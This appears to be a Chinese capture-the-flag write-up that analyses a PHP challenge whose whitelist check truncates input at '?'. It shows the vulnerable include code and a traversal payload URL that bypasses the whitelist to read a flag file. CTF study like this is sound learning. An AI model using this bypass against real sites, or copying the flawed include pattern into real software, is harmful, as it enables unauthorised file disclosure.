- 打开界面,就是这么一个比较憨的图片
我们来寻找利用点
- 先查看源码
- 发现一个注释的source.php,看能否进入,发现点东西
- 一串php代码,先大概的审计一番,发现了hint.php,看能否进入,发现点东西
- 原来flag不在这里,在/ffffillaaaagggg中
代码分析
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
- 第一步当然是寻找敏感函数,发现了include,利用文件包含函数
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
- 第二步当然是对这个含有include函数的一大串关键if语句进行分析
- 可知当
if(true&&true&&true)
时,调用include函数 - 第一个true
! empty($_REQUEST['file']
提交数据不为空即可 - 第二个true
is_string($_REQUEST['file'])
提交数据为字符串即可 - 第三个true
emmm::checkFile($_REQUEST['file'])
需要调用emmm类中的checkFile为真
细解checkFile函数
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
四个if语句构成这个函数,我们知道要想让函数返回true,就必须让含有return true的if语句达成return true的条件,且前面的语句不会使在达到之前让函数执行中断
-
第一个if语句,不能返回flase,
(! isset($page) || !is_string($page)
需要$page存在且为字符串,使函数继续执行 -
第二个if语句,可以返回true,
in_array($_page, $whitelist)
,就需要$whitelist
中存在$page
in_array— 检查数组中是否存在某个值
payload
- payload1
http://111.198.29.45:56708/index.php?file=source.php../../../../../ffffllllaaaagggg
you can’t see it!
分析:说明ffffllllaaaagggg
不在$whitelist
数组的键值中
执行后续代码,$page
会一直保持不变$_page=source.php../../../../../../../ffffllllaaaagggg
这样岂不是无解,后续返回false,条件无法达成
mb_substr() 函数返回字符串的一部分
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
这两个函数是非常关键的,也是为何第一个payload无解,改进payload完成绕过的原因
mb_strpos($page . '?', '?')
这个函数的意思就是先将$page
与?连接,然后查找第一个?出现的位置并返回,带入mb_substr()
函数中,截取等于返回值长度的字符串,第一个payload中没有?,故他无限返回都是$_page=source.php../../../../../../../ffffllllaaaagggg
因此无解
- payload2
http://111.198.29.45:56708/index.php?file=source.php?../../../../../../ffffllllaaaagggg
改进的payload便可返回flag
原因:改进的payload
$_page=source.php?../../../../../../../ffffllllaaaagggg
第二个if语句返回flase时
if (in_array($page, $whitelist)) {
return true;
}
进入
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
便可截取到
$_page=source.php
故返回true
三条件达成
if(true&&true&&true)
成立
include函数
最后执行include(source.php?../…/…/…/…/…/ffffllllaaaagggg)